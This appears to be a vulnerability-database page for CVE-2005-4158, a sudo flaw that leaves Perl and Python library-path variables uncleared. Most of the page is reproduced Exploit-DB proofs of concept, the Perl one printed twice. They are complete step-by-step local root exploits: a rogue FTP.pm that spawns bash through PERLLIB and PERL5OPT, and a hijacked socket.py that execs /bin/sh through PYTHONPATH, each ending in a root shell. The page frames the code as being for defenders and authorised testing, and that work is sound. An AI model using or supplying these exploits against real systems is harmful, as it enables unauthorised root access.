CVE-2005-4158
Description
Sudo before 1.6.8 p12, when the Perl taint flag is off, does not clear the (1) PERLLIB, (2) PERL5LIB, and (3) PERL5OPT environment variables, which allows limited local users to cause a Perl script to include and execute arbitrary library files that have the same name as library files that are included by the script.
Predictions
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
No mitigations published for this CVE yet.
The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.
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Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
Sudo 1.6.x - Environment Variable Handling Security Bypass (1)
source: https://www.securityfocus.com/bid/16184/info
Sudo is prone to a security-bypass vulnerability that could lead to arbitrary code execution. This issue is due to an error in the application when handling environment variables.
A local attacker with the ability to run Python scripts can exploit this vulnerability to gain access to an interactive Python prompt. That attacker may then execute arbitrary code with elevated privileges, facilitating the complete compromise of affected computers.
An attacker must have the ability to run Python scripts through Sudo to exploit this vulnerability.
This issue is similar to BID 15394 (Sudo Perl Environment Variable Handling Security Bypass Vulnerability).
## Sudo local root exploit ##
## vuln versions : sudo < 1.6.8p12
## adv : https://www.securityfocus.com/bid/15394
## adv : http://www.frsirt.com/bulletins/2642
##by breno - breno@kalangolinux.org
## You need execute access to perl script in sudo ##
## cat /etc/sudoers ##
breno ALL=(ALL) /home/breno/code.pl
## Now let's create your own perl module FTP.pm :) good name.
breno ~ $ -> mkdir modules
breno ~ $ -> mkdir FTP
breno ~/modules $ -> ls
FTP
breno ~/modules $ -> cd FTP
breno ~/modules/FTP $ -> h2xs -AXc -n FTP
Defaulting to backwards compatibility with perl 5.8.7
If you intend this module to be compatible with earlier perl versions, please
specify a minimum perl version with the -b option.
Writing FTP/lib/FTP.pm
Writing FTP/Makefile.PL
Writing FTP/README
Writing FTP/t/FTP.t
Writing FTP/Changes
Writing FTP/MANIFEST
breno ~/modules/FTP $ ->
breno ~/modules/FTP/FTP $ -> perl Makefile.PL
Checking if your kit is complete...
Looks good
Writing Makefile for FTP
breno ~/modules/FTP/FTP $ -> make
cp lib/FTP.pm blib/lib/FTP.pm
Manifying blib/man3/FTP.3pm
breno ~/modules/FTP/FTP $ -> make test
PERL_DL_NONLAZY=1 /usr/bin/perl "-MExtUtils::Command::MM" "-e" "test_harness(0,
'blib/lib', 'blib/arch')" t/*.t
t/FTP....ok
All tests successful.
Files=1, Tests=1, 0 wallclock secs ( 0.03 cusr + 0.01 csys = 0.04 CPU)
breno ~/modules/FTP/FTP $ ->
#Now i deleted the default FTP.pm (it was ugly), and create my beautiful module
breno ~/modules/FTP/FTP/blib/lib $ -> vi FTP.pm
package FTP;
use strict;
use vars qw($VERSION);
$VERSION = '0.01';
sub new {
my $package = shift;
return bless({}, $package);
}
sub verbose {
my $self = shift;
system("/bin/bash");
if (@_) {
$self->{'verbose'} = shift;
}
return $self->{'verbose'};
}
sub hoot {
my $self = shift;
return "Don't pollute!" if $self->{'verbose'};
return;
}
1;
__END__
EOF
# Remenber our super code.pl
breno ~ $ -> vi code.pl
#!/usr/bin/perl
BEGIN { $| = 1; print "1..1\n"; }
END {print "not ok 1\n" unless $loaded;}
use FTP;
$loaded = 1;
print "ok 1\n";
my $obj = new FTP;
$obj->verbose(1);
my $result = $obj->hoot;
print ($result eq "Don't pollute!" ? "ok 2\n" : "not ok 2\n");
$obj->verbose(0);
my $result = $obj->hoot;
print ($result eq "" ? "ok 3\n" : "not ok 3\n");
EOF
# Now let's play with PERLLIB and PERL5OPT env.
breno ~ $ -> export PERLLIB="/home/breno/modules/FTP/FTP/blib/lib/"
breno ~ $ -> export PERL5OPT="-MFTP"
# Now get Root!! :)
breno ~ $ -> sudo ./code.pl
Password:
1..1
ok 1
root ~ # -> id
uid=0(root) gid=0(root) grupos=0(root)
root ~ # ->
Sudo 1.6.x - Environment Variable Handling Security Bypass (2)
source: https://www.securityfocus.com/bid/16184/info
Sudo is prone to a security-bypass vulnerability that could lead to arbitrary code execution. This issue is due to an error in the application when handling environment variables.
A local attacker with the ability to run Python scripts can exploit this vulnerability to gain access to an interactive Python prompt. That attacker may then execute arbitrary code with elevated privileges, facilitating the complete compromise of affected computers.
An attacker must have the ability to run Python scripts through Sudo to exploit this vulnerability.
This issue is similar to BID 15394 (Sudo Perl Environment Variable Handling Security Bypass Vulnerability).
## Sudo local root escalation privilege ##
## vuln versions : sudo < 1.6.8p10
## adv : https://www.securityfocus.com/bid/16184
## by breno - breno at kalangolinux dot org
## You need sudo access execution for some python script ##
## First look sudoers file. User 'breno' can execute expl_python_sudo.py script
breno ~ $ -> cat /etc/sudoers
breno ALL=(ALL) /home/breno/expl_python_sudo.py
## Second, see our simple PoC python script
breno ~ $ -> cat /home/breno/expl_python_sudo.py
#!/usr/bin/python
import sys
import socket
import os
print "Python Sudo Exploit"
exp = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
exp.close()
breno ~ $ ->
## Sexy !! Do nothing :)
## Ok. What you need to do to get root is hijacking socket.py module , change close()
function to execute something and
## change PYTHONPTAH env.
breno ~ $ -> cp /usr/lib/python2.3/socket.py /home/breno/
breno ~ $ -> vi /home/breno/socket.py
...
import os
...
def close(self):
os.execl("/bin/sh","/bin/ah");
self._sock = _closedsocket()
self.send = self.recv = self.sendto = self.recvfrom = self._sock._dummy
close.__doc__ = _realsocket.close.__doc__
...
## Ok .. save it and export env
breno ~ $ -> export PYTHONPATH=/home/breno
## .. and execute script. Too much sexy !!!
breno ~ $ -> sudo /home/breno/expl_python_sudo.py
Python Sudo Exploit
root ~ # -> id
uid=0(root) gid=0(root) grupos=0(root)
root ~ # ->
Sudo Perl 1.6.x - Environment Variable Handling Security Bypass
source: https://www.securityfocus.com/bid/15394/info
Sudo is prone to a security-bypass vulnerability that could lead to arbitrary code execution. This issue is due to an error in the application when handling the 'PERLLIB', 'PERL5LIB', and 'PERL5OPT' environment variables when tainting is ignored.
An attacker can exploit this vulnerability to bypass security restrictions and include arbitrary library files.
To exploit this vulnerability, an attacker must be able to run Perl scripts through Sudo.
## Sudo local root exploit ##
## vuln versions : sudo < 1.6.8p12
## adv : https://www.securityfocus.com/bid/15394
## adv : http://www.frsirt.com/bulletins/2642
##by breno - breno@kalangolinux.org
## You need execute access to perl script in sudo ##
## cat /etc/sudoers ##
breno ALL=(ALL) /home/breno/code.pl
## Now let's create your own perl module FTP.pm :) good name.
breno ~ $ -> mkdir modules
breno ~ $ -> mkdir FTP
breno ~/modules $ -> ls
FTP
breno ~/modules $ -> cd FTP
breno ~/modules/FTP $ -> h2xs -AXc -n FTP
Defaulting to backwards compatibility with perl 5.8.7
If you intend this module to be compatible with earlier perl versions, please
specify a minimum perl version with the -b option.
Writing FTP/lib/FTP.pm
Writing FTP/Makefile.PL
Writing FTP/README
Writing FTP/t/FTP.t
Writing FTP/Changes
Writing FTP/MANIFEST
breno ~/modules/FTP $ ->
breno ~/modules/FTP/FTP $ -> perl Makefile.PL
Checking if your kit is complete...
Looks good
Writing Makefile for FTP
breno ~/modules/FTP/FTP $ -> make
cp lib/FTP.pm blib/lib/FTP.pm
Manifying blib/man3/FTP.3pm
breno ~/modules/FTP/FTP $ -> make test
PERL_DL_NONLAZY=1 /usr/bin/perl "-MExtUtils::Command::MM" "-e" "test_harness(0,
'blib/lib', 'blib/arch')" t/*.t
t/FTP....ok
All tests successful.
Files=1, Tests=1, 0 wallclock secs ( 0.03 cusr + 0.01 csys = 0.04 CPU)
breno ~/modules/FTP/FTP $ ->
#Now i deleted the default FTP.pm (it was ugly), and create my beautiful module
breno ~/modules/FTP/FTP/blib/lib $ -> vi FTP.pm
package FTP;
use strict;
use vars qw($VERSION);
$VERSION = '0.01';
sub new {
my $package = shift;
return bless({}, $package);
}
sub verbose {
my $self = shift;
system("/bin/bash");
if (@_) {
$self->{'verbose'} = shift;
}
return $self->{'verbose'};
}
sub hoot {
my $self = shift;
return "Don't pollute!" if $self->{'verbose'};
return;
}
1;
__END__
EOF
# Remenber our super code.pl
breno ~ $ -> vi code.pl
#!/usr/bin/perl
BEGIN { $| = 1; print "1..1\n"; }
END {print "not ok 1\n" unless $loaded;}
use FTP;
$loaded = 1;
print "ok 1\n";
my $obj = new FTP;
$obj->verbose(1);
my $result = $obj->hoot;
print ($result eq "Don't pollute!" ? "ok 2\n" : "not ok 2\n");
$obj->verbose(0);
my $result = $obj->hoot;
print ($result eq "" ? "ok 3\n" : "not ok 3\n");
EOF
# Now let's play with PERLLIB and PERL5OPT env.
breno ~ $ -> export PERLLIB="/home/breno/modules/FTP/FTP/blib/lib/"
breno ~ $ -> export PERL5OPT="-MFTP"
# Now get Root!! :)
breno ~ $ -> sudo ./code.pl
Password:
1..1
ok 1
root ~ # -> id
uid=0(root) gid=0(root) grupos=0(root)
root ~ # ->
OS impact
Debian Fixed 5 releases
| Version | Status | Fixed in |
|---|---|---|
| trixie | Fixed | 1.6.8p12-1 |
| sid | Fixed | 1.6.8p12-1 |
| forky | Fixed | 1.6.8p12-1 |
| bullseye | Fixed | 1.6.8p12-1 |
| bookworm | Fixed | 1.6.8p12-1 |
References
Community-verified mitigations for this CVE will appear above when contributors publish them.
Verify integrity in audit chain (admin only). AS-IS.